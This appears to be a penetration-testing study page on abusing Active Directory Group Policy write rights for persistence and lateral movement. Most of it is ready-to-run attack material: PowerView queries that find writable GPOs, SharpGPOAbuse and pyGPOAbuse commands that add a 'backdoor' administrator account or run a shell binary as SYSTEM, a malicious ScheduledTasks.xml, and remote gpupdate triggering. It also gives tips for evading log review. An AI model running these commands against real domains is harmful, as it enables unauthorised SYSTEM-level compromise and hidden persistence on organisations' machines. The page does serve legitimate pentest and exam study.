β Research Hub
Active Directory
GPO Abuse for Persistence
Modifying Group Policy Objects with GenericWrite β scheduled tasks, startup scripts, registry keys, and immediate policy push for lateral movement and persistence.
GPO Discovery
# Find GPOs where your user/group has write rights
# Primary method: BloodHound β look for GenericWrite, WriteDACL edges to GPO nodes
# Right-click any GPO node β "Shortest Paths to Here from Owned"
# PowerView (modern syntax β use Get-DomainGPO not Get-NetGPO)
Get-DomainGPO -Properties DisplayName,Name | ForEach-Object {
$gpo = $_
Get-DomainObjectAcl -Identity $gpo.Name -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'GenericWrite|WriteDacl|WriteProperty' -and
$_.SecurityIdentifier -ne 'S-1-5-18'
} | Select-Object @{N='GPO';E={$gpo.DisplayName}}, SecurityIdentifier, ActiveDirectoryRights
}
# Quick check on a specific GPO GUID
Get-DomainObjectAcl -Identity "GPO-GUID" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'Write'
}
# Check which OUs (and machines) a GPO applies to
Get-DomainOU -GPLink "GPO-GUID" | Select-Object distinguishedname
Abusing GPO Write Rights
If BloodHound shows GenericWrite on a GPO that applies to machines you want to compromise, you can modify the GPO to run arbitrary code as SYSTEM on those machines.
# Using SharpGPOAbuse (from Windows)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hacker --GPOName "Vulnerable GPO"
# Add a computer or user task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITYSYSTEM" --Command "cmd.exe" --Arguments "/c C:WindowsTempshell.exe" --GPOName "Vulnerable GPO"
# pygpoabuse (from Kali Linux β https://github.com/Hackndo/pyGPOAbuse)
pygpoabuse CORP.LOCAL/hacker:'Pass123!' -gpo-id "" -command "net user backdoor Pass123! /add && net localgroup administrators backdoor /add"
Scheduled Task via GPO (Manual)
# Locate GPO files on SYSVOL
\\corp.local\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks
# Create ScheduledTasks.xml:
<ScheduledTasks clsid="...">
<ImmediateTaskV2 clsid="..." name="Backdoor" image="0" changed="2024-01-01 00:00:00" uid="...">
<Properties action="C" name="Backdoor" runAs="NT AUTHORITYSYSTEM" logonType="S4U">
<Task version="1.3">
<Actions>
<Exec>
<Command>cmd.exe</Command>
<Arguments>/c net user hacker Pass123! /add</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
Forcing Policy Application
# On target machine (if you have code execution):
gpupdate /force
# Policy applies immediately β scheduled task runs as SYSTEM
# Remotely trigger policy update via WMI/PsExec:
Invoke-WmiMethod -ComputerName TARGET -Class win32_process -Name create -ArgumentList "gpupdate /force"
Exam Tips
- GPO modifications only affect machines/users the GPO is linked to β verify the OU/site/domain link
- Use BloodHound's GPO node view to see which OUs (and thus which computers) are affected
- The
gpupdate /forcecommand requires local execution β use a shell or WMI to trigger remotely - GPO changes are logged in Security event logs β use
ImmediateTaskV2for a one-shot task that self-deletes - Check
SYSVOLpermissions first β you need write access to the GPO folder path, not just the AD object